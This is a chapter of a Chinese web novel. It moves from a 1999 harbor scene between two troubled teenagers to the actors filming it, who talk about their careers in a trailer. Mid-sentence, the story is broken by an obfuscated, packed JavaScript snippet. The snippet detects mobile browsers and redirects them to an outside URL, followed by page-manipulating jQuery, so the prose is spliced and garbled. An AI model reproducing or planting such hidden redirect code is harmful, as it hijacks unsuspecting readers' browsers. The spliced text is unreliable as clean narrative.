1999年，暑假。
李金银做完最后一道大题，将物理试卷夹进作业袋，轻手轻脚地推开小房间的门，客厅墙上的时钟显示九点四十，时间正好。
她蹲身换鞋，冷不丁背后传来一句：“这么晚去哪？”
她身子微微一僵，只见李志强穿着松垮的白背心，脚踩拖鞋，站在冰箱前喝水。在他身后，洞开的主卧露出半边床，床沿矮凳上坐着一个枯瘦的王彩娴，听到动静迟缓地看过来。
接触到她冷郁的目光，李金银垂下眼系鞋带，低声道：“太热了，去买根冰棍。”
李志强不在意地嗯了一声，摔上冰箱，咒骂这热天。
李金银麻利地下楼，踩上自行车，往娄泽打工的台球店疾驰而去。娄泽十点钟下班，运气好的话能赶上沿路豆花店的最后一袋红糖冰豆花。
到了台球店，店里没几个客人，二手空调嘎吱运作，空气里满是汗味和烟味，李金银在几个黄头发的小流氓里一扫，没捕捉到男孩锐竹般的身影，径直回到前台，“老板，娄泽还没下班吗？”
前台的中年夫妻守着桌上一台小电视，男人回：“他今天先走啦，你们没约好吗？”
李金银眨眨眼，乖巧地浅笑道：“知道了，谢谢老板，老板再见。”
年轻姑娘像脆生生的嫩笋，男人笑弯了眼，目送她出门，“诶，慢走啊！”
老板娘啐了一嘴瓜子皮，横眼扫他：“你怎么不告诉她那小子滚蛋了？”
“什么叫滚蛋了，我不是留他干完这个月吗？”
“我看你养着闲人就是为了见这小狐媚子吧！”
“哎哟祖宗你留点口德吧，我是看娄泽那孩子可怜，亲娘被两个男人玩死在床上，后爹为了给他娘报仇又成了杀人犯，要在里面蹲一辈子，小小年纪没人看管……”
女人打了他一掌：“知道他是杀人犯的孩子还用他，你没看他今天瞧我的眼神！”
“那还不是你先说了难听的……”
豆花袋子上的水珠滴到腿上，一片湿凉，李金银冷眼瞧向台球店的招牌，提着冰豆花快步离开，她知道要去哪里找娄泽了。
后港朝南，原先是个货港，从前后来省城建了吃水更深的大港口，宜海这个就渐渐废弃了，倒是西北岸的小渔港还用着，海鲜市场就建在那里，每到翻北风的时候，整座城市都布满鱼腥味。
港口尽头停了艘破旧的采砂船，据说船主非法采砂被抓进去了，自李金银有记忆起就停在那里。
娄泽坐在港口尽头，海风把他的黑色T恤吹得鼓胀，露出一截劲瘦的腰线，在茫茫夜色里显得单薄而孤独。
这里算是两人的秘密基地，每当有人心情不好时，他们就会来后港，有时只是坐一会儿，有时一坐就是一夜，直到日出的霞光笼罩整个海面才会偷偷回家。
李金银用脚踢他，娄泽没回头，抬起手掌心向上勾了勾，李金银把豆花放上去，他顿时咧开嘴转过脸来，“赶上了？”
“嗯”，李金银在他身侧坐下来，“可是豆花不冰了。”
“就是暖的才好吃。”娄泽盘起腿来，用牙咬开袋子一角就这么叼着喝，“在店里听到什么了？”
李金银低头不语，他就明白她什么都知道了，笑着长叹：“又得找活儿干了。”实际上也不见多烦恼的样子。
过了一会儿，他望着海面说：“明天是我爸探监的日子，我请了假。”
李金银点点头，听他继续自语：“也不知道要给他带些什么，别人进去前都知道交代点什么，他闷半天就给我来句——‘好好的’”
娄泽的父亲被判死缓两年，今年是头一次放监，李金银说：“带个苹果吧。”
“苹果？”娄泽摸摸鼻子，“也是，里面伙食估计不怎么样，是要补充点维生素”，又说：“水果能带进去吗？”
李金银也说不好。
娄泽随手拨动地面上小臂粗的铁锚，锚的另一头坠在海里，随着摇晃发出幽远的水声。
“其实我不知道见了他要说什么，他不爱说话，我长这么大就没跟他说过多少话，虽然我知道他是个好人，对我和我妈都好。”
锚上掉下的铁锈片细碎地散在地上，暗红色，就像李金银赶到案发现场时遍布在娄泽和他父亲身上的血液。
娄泽和她不一样，娄泽是有人爱着的小孩，他的心脏和他的血液一样，是热的。这一点，李金银在真正认识他之后才明白。
“打个草稿吧，我帮你写。”李金银舔舔干涩的唇。
娄泽大笑起来，笑完了说：“算啦，见一面就可以了，够了。”
李金银不可置否，犹豫道：“明天……”
“明天怎么了？”
李金银朝他侧脸飞速瞄一眼，摇摇头，“没什么，明天你早点去。”
“为什么要我早一点？”娄泽歪着头凑过来。
李金银从他忍笑的眼睛猜到这人在故意逗她，拉下了脸色。
娄泽赶紧低头求饶，拉住她：“我错了我错了，我怎么敢忘记我们小花的生日？”
李金银再一次斜眼瞪他，小时候擅自给她取小名，不管她如何反对这人就是油米不进，真惹急眼了认个错，下回还敢，恨得人牙痒痒。
娄泽笑眯眯：“小花想吃什么口味的蛋糕？”
李金银语气生硬：“不吃，太甜了。”
她并不偏爱甜食，豆花也好，蛋糕也好，甚至后港的日出，她其实都不喜欢，但娄泽对它们出奇的执着，他总是喜欢这些充满糖分的、中看不中用的东西，说这些东西有令人心情变好的魔法，李金银对此不屑一顾。
“生日怎么能不吃蛋糕，吃甜食会让人心情变好。”
看，又是这幅说辞。
“好了，就这么定了！”娄泽敲定主意，拍拍屁股起身，“你不能出来太久，走吧，送你回去。”
李金银眼珠动了动，“你呢？”
“我也回家，今天不等日出，”娄泽仿佛猜到她在担心什么，晃了晃手里喝空的豆花袋子，眨眼笑了：“毕竟我已经有这个了，人太贪心的话，魔法是会消失的。”
这天的拍摄重点在闻勉身上，最后一条宣布通过，副导拿着喇叭喊了三遍收工。闻勉从地上起身，跨过港口的安全栏杆时伸手扶了她一把，待她站定后才转身去检查监视器。
毫无疑问，他演的很精彩，比剧本上的娄泽还有层次，连带着和他搭戏的喻氤也比预计早收工半小时。
秋秋过来低语说司机送车去修现在还在半路，要等一等，闻勉在旁听到了，随口说：“跟我的车走吧。”
他的房车一直在现场等着。
喻氤看了看叮呤咣啷拆灯拆轨道的现场，她还想赶紧回去背词，于是点头：“方便的话，就打扰了。”
闻勉不在意地颔首，带着她和秋秋回了自己的房车。
他的助理小余之前给喻氤削过橙子，见到她开朗地叫人：“喻老师好啊。”
喻氤对他笑笑：“打扰。”
“您客气。”说完给她和秋秋拿了两瓶水，回驾驶室去了。
房车应该是闻勉自己的，最高配置，会客厅比喻氤那辆租的大了一倍不止，宽敞得令人拘谨——至少秋秋在那可以坐下五六个人的单侧沙发上就坐得很是拘谨。
闻勉看她大气不敢出的样子，似笑非笑地问：“我会吃人吗？”
秋秋：“！！”
向喻氤投来求助的目光。
喻氤：“……”
别看她啊，她也没遇到过这阵仗。
他轻笑一声，“逗你们的。”
“回去还要开一会儿，放松点。”
他换了自己的衣服，脸上仍带着娄泽的妆，肤色比本人深了一号，化妆师精巧的几笔改变了他的眼型，整体看上去粗粝了许多。
闻勉察觉到身上的视线，挑了挑眉：“怎么了？”
这个动作让他看上去更锐利了。
喻氤的语气里带上一丝憧憬：“您这幅扮相很像《湄公河哭声》里的小野。”
那是闻勉十六岁时参演的一部缉毒片，他在里面演一个无父无母，被犯罪集团养大的老挝少年，打架粗暴狠戾，但心存一丝底线。
闻勉扭头瞥一眼车上的化妆镜，看上去有些意外，“你还看过这部戏。”
《湄公河哭声》是他二十岁前的最后一部戏，后来电影因为涉及宗教和毒品犯罪，尺度太大，剪掉了整整三十分钟，导致公映版剧情脱节，口碑和票房都没赚回来，是他参演的作品里成绩最差的一部。
“第一次跟您合作，怕拖后腿，就把您和孟导的作品都找来看了一遍，那部片子剪得不好，小野的线却是完整的，您在没有几句台词的情况下，让小野的每一次出场都给人留下很深刻的印象。”
“在知道是您来演娄泽时，我脑中的这个人物就是以小野为基形建造的，当然两个角色有很大差别，但确实对我有很大帮助。”
闻勉眼梢微动，发现喻氤说到他演的角色时整张脸都亮了起来，在此之前她漂亮归漂亮，但总像蒙了层灰，即使是笑着眼里也没有光。
这类眼神他并不陌生，几乎在每个影迷身上都能见到，但他不认为喻氤是他的粉丝。
闻勉凝着她，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042182|162582||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倏地一笑，“其实算上20年的献礼片，《铁锈》应该是我们第二次合作。”
喻氤嘴角的弧度一僵，旁听的秋秋惊叹出声：“您居然知道喻氤姐在《百年征途》里出演过？”
闻勉听完没接话，笑着垂下眼，拧开桌上的水喝了一口。
喻氤明白过来，孟竖和陈生尚且要对她做背调，闻勉作为男主演自然也要查一查未来搭档的资料，尤其当搭档是一号没听说过的人物。
她微微低头，不太好意思地摸着鼻尖：“我在《百里征途》里演的是一个名字都没有的小角色，怎么能算跟您合作过。”
顿了顿，又说：“不过，您的现场我一次都没落下。”
“哦？是吗？”闻勉有些兴致的样子。
喻氤点头，无意识地捏着手里的矿泉水瓶，闻勉被塑料的声响牵动，垂眼在她修剪圆润的指尖轻扫过。
“我在拍完客串之后，就和副导演商量可不可以自掏食宿留在现场观摩，所以其实您的戏我都在现场。”
当时公司对她的态度刚刚有所和缓，给了她一部网大的资源，她不想接，却也付不起违约费。
开拍前一个月她突然得知年度献礼片《百里征途》中有个出场五分钟的小角色，从主演到配角可谓老戏骨云集，更有闻勉领衔主演，于是她背着公司偷偷去试了镜。
后来把网大分给她的那个高层大发雷霆，说她给脸不要脸，还让她去陪那部网大的资方吃饭赔罪，不把人家伺候高兴就不用回来演戏了，最后是周湘费了很大功夫才把她保下来。
“其实我一直想跟您说声谢谢。”喻氤舔了舔嘴唇，有些犹豫的开口。
闻勉挑了挑眉。
“在《百里征途》跟组的期间，我最大的收获并不是观摩到几位前辈老师的演技，而是你们等戏时闲聊的一番话。”
“当时你们在聊演员接戏的原则，章老说什么戏都接是演员大忌，年轻人要耐得住寂寞，爱惜自己的羽毛和灵气。”
“在场的所有前辈都支持他的观点，只有你说‘为什么不接？只有接了才有可能被看见，只有被看见，未来才有能力做选择’。”
闻勉笑起来，“难道不是吗？每个人都说《拾荒者》之后找我的都是好本子，但是别忘了，我小时候演过的奇怪角色多了去了。”
喻氤忍俊不禁，闻勉看看她，坦白：“很抱歉，你说的这些我实在没什么印象。”
喻氤摇了摇头，“没关系，你本来就不是对我说的，只不过这些年我一直记着，偶尔安慰安慰自己，如果不是那句话我可能坚持不到被孟导看见。所以再次见到您，觉得有必要向您道谢。”
从《百里征途》拍摄基地回到公司后，她开始不再钻牛角尖和公司硬碰硬。
即使是最受鄙视的网大她也接了，给老总们想捧的素人小鲜肉做工具人女主，这些女主角不需要有自己的想法，只要服务于男主、显得男主很帅气迷人即可，这也是为什么她后来演的都是小白花，以至于这种印象被带入现实，成了她的“人设”。
再后来就越混越糊，拍《斩风破浪》的前两年，连网大网剧都没人找她了。
娱乐圈么，听话的背景板演员还不好找？
回忆到一半，车子在酒店前停稳，谈话不得不终止，闻勉要去化妆间卸妆，喻氤则是回房间自行处理，几人就在大厅里分别。
离开前闻勉不知在想什么，忽然转身，“我可以问问你，一开始为什么要学演戏吗？”
喻氤有点讶异，闻勉看上去很想知道答案，所以她也不想糊弄他，沉思片刻，“当我的喜怒哀乐能牵动观众的情绪时，我会很有成就感。”
“这样啊。”
“你呢？”喻氤不自觉对他用了同龄人的称呼。
闻勉像是想到了什么，眼里有一瞬的出神，紧接着他装作认真想过的模样，笑着摇头：“时间太久，记不清了，也可能是原本的生活太无趣了，谁知道呢？”
电梯适时抵达一楼，发出“叮”的一声提醒，闻勉朝她挥挥手，转身离去。
秋秋望着他潇洒的背影，默默感叹：“不愧是含着金汤勺出生的闻家长孙。”
喻氤步入电梯摁下楼层。
秋秋跟上来，继续说着：“我家要是也像闻家这样坐拥商业帝国，我简直不敢想我会无聊到什么地步，大概这就是有钱人的烦恼吧，什么都唾手可得了，活着也就变成一件了无生趣的事了。”
喻氤觑了她一眼，“你是真心的？”
“……不，我违心的。”
秋秋嫉妒的发狂：“我也好想体会一把有钱人的无趣！”